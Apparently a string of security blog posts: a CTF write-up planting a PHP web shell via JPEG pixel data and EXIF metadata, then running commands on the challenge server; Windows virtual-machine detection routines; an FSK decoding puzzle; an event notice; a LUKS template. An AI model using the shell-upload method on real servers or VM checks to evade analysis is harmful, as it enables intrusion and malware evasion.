For this challenge, we were given a link to a website (http://192.73.237.131/) and a hint (Hint6[Freak]:~), there, we can upload and see JPEG images:
By following the hint, we can get the source code of view.php script (Using ~ to retrieve the content of the temporal file: http://192.73.237.131/view.php~).
We can control $camModel variable by modifying EXIF data on the image, and $dd variable by making a JPEG that contains a shellcode in the red channel. The objetive here is to create a PHP script (camModel = .php) with custom shellcode:
// create image using true color $img= imagecreatetruecolor($width,1); for($x=0;$x<$width;$x++){ // get ascii value of shellcode $value=ord($shell[$x]); // set a pixel using the ascii $color= imagecolorexact($img,$value,$value,$value);
imagesetpixel($img,$x,0,$color); }
// save image using 100% quality
imagejpeg($img,'imafreak.jpg',100);
// add Model metadata using exiv2 tool system('exiv2.exe -M "add Exif.Image.Model .php" imafreak.jpg');
The result of the script is this image (Right click, save target as, for better understanding):
By uploading the JPEG, we can execute commands on the server:
List files in root folder
view-source:http://192.73.237.131/secretstoreddata/67c6a1e7ce56d3d6fa748ab6d9af3fd7.php?c=ls%20-lia%20../
Read first flag
view-source:http://192.73.237.131/secretstoreddata/67c6a1e7ce56d3d6fa748ab6d9af3fd7.php?c=cat%20../super_nooooo_flag_dafuq_is_this.php
<?php /* FLAG : dafuq_is_this_shit_i_guess_its_flag */ ?>
Unfortunately, we were unable to get the second flag, but after the competition, Phiber from Activalink, pointed us to the second flag, it was the first JPEG image uploaded using the imafreak service (http://192.73.237.131/upload/c4ca4238a0b923820dcc509a6f75849b.jpg):
February 15, 1973
NATIONAL SECURITY ACTION MEMORANDUM
TO: JULIUS SCHNEIER
DIRECTOR OF CRYPTANALYSIS
NATIONAL SECURITY AGENCY
SUBJECT: RE: Spies Among Us
As per action US182.97, we have continued to
monitor the suspected foreign spies via
telephone wiretap. At 8:12AM this morning, a
call was placed from ORCHID to LILAC containing
what is believed to be a coded message.
You will find enclosed a recording of this
event on audio cassette tape. We request the
immediate analysis of this recording for hidden
meaning or message. This tasking will expire
in 48 hours, at which time OPERATION PSIFERTEX
will commence as planned.
Lt Gen Samuel C. Phillips,
United States Air Force
Director of the NSA
Second one contains a transmission using frecuency-shift keying (FSK), we can follow these steps to decode the signal:
Download and compile MultimonNG Use MultimonNG with the CLIPFSK demodulator (Phiber rules!):
# ./multimonNG -t wav -c -a CLIPFSK ../oranges.wav
multimonNG (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA
(C) 2012 by Elias Oenal
available demodulators: POCSAG512 POCSAG1200 POCSAG2400 EAS UFSK1200 CLIPFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI SCOPE
Enabled demodulators: CLIPFSK
sox WARN dither: dither clipped 9 samples; decrease volume?
CLIPFSK: CS DATE=02102221 CID=6169405176 CNT=BIT.LY/U3MMRU
Using ROT-8 algorithm, we can retrieve the original text that contains a password protected file encoded with base64:
The general wants two poached eggs delivered for breakfast. Your ingredients are enclosed.
UEsDBAoACQAAAH2nSUIzZ08bMgAAACYAAAADABwAa2V5VVQJAAMd/xZRHf8WUXV4CwABBOgDAAAE
6AMAANejo9PGTwK+TTaJdrWFH/4CAYc7B3V56RKqdQV7aVIoVMqQK7T3TopYCVHJ4fMrUhzzUEsH
CDNnTxsyAAAAJgAAAFBLAQIeAwoACQAAAH2nSUIzZ08bMgAAACYAAAADABgAAAAAAAEAAAC0gQAA
AABrZXlVVAUAAx3/FlF1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBJAAAAfwAAAAAA
A continuación puede encontrar tres rutinas para la detección de ambientes virtualizados que hacen uso del software VMware, Oracle VM VirtualBox, Windows Virtual PC o QEMU, y cuyo enfoque es para el sistema operativo Windows. La detección es realizada buscando valores por defecto en la configuración de las tarjetas de red (dirección MAC), valores localizados en el registro, y a través de Windows Management Instrumentation (Que finalmente es traducido también en valores encontrados en el registro).
Detección a través de la dirección MAC
Se obtiene la dirección MAC de todas las tarjetas de red y se compara con prefijos predeterminados por cada software:
Se obtiene el valor de la cadena "0" en la clave "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum", y se busca valores predeterminados por cada software:
Detección a través de Windows Management Instrumentation
El procedimiento realizado es similar a los dos anteriores, se busca valores predeterminados a través del uso de WMI. Dichos valores son obtenidos a través de WQL, usando las siguientes consultas y valores predeterminados por cada software:
SELECT Version FROM Win32_BIOS
Fabricante
Subcadena
Oracle VM VirtualBox
VBOX
Windows Virtual PC
A M I - 8000914
QEMU
BOCHS
SELECT Model FROM Win32_ComputerSystem
Fabricante
Subcadena
VMware
VMware
Oracle VM VirtualBox
VirtualBox
Windows Virtual PC
Virtual Machine
QEMU
Bochs
SELECT DeviceID FROM Win32_CDROMDrive
Fabricante
Subcadena
Oracle VM VirtualBox
VBOX
QEMU
QEMU
SELECT PNPDeviceID FROM Win32_DiskDrive
Fabricante
Subcadena
VMware
VMware
Oracle VM VirtualBox
VBOX
Windows Virtual PC
DISKVIRTUAL
QEMU
QEMU
SELECT Description FROM CIM_LogicalDevice
Fabricante
Subcadena
VMware
VMware
Oracle VM VirtualBox
VirtualBox
La rutina aunque un poco más compleja pero no menos importante puede ser observada a continuación:
Se obtiene el siguiente resultado (True indica detección exitosa):
Fabricante
MAC Test
REG Test
WMI Test
VMware
True
True
True
Oracle VM VirtualBox
True
True
True
Windows Virtual PC
True
True
True
QEMU
True
True
True
Windows 7 Sin virtualizar
True
False
True
Código fuente
El archivo comprimido contiene cuatro archivos: vmtest.c: Recopilación de las rutinas. StdAfx.cpp, StdAfx.h: Código necesario para la compilación. vmtest.exe: Ejecutable de prueba (Para el arriesgado).
Este sábado primero de diciembre de 8:00 a.m. a 8:00 p.m. se estará realizando en diferentes ciudades de Colombia el evento BarCamp Security Edition, en su versión número 3. Es una buena oportunidad para compartir y conocer nuevas personas, quizás estaré por esos lados, ya que estoy pensando en dar una pequeña desconferencia sobre las diferentes experiencias con los Wargames y Capture The Flags en los cuales me he desempeñado en nuestro equipo NULL Life, a ver si me animo!
"Como objetivo principal el evento busca reunir personas y compartir experiencias alrededor del tema de seguridad informática, es por esto que durante un día se preparan conferencias, talleres, demostraciones y retos informáticos que ayudan a fortalecer los lazos entre los asistentes y por otro lado ayudan a crear consciencia sobre un tema tan importante como es el de seguridad informática en el país."
This is my first template for my favorite multipurpose editor: 010 Editor. The idea behind the template comes from a challenge of DC3 2012 ("Create a program that will perform a dictionary and/or brute force attack against the encrypted volume")
The first version of this template is able to identify the header of a disk encrypted with LUKS specification, including: Ciphername used in the disk encryption Mode of the cipher Hash specification Variables related to the password
Disk data can not be decrypted using the template.
This is a preview of the template using the file provided in the challenge:
You can download the template from here: LUKS Template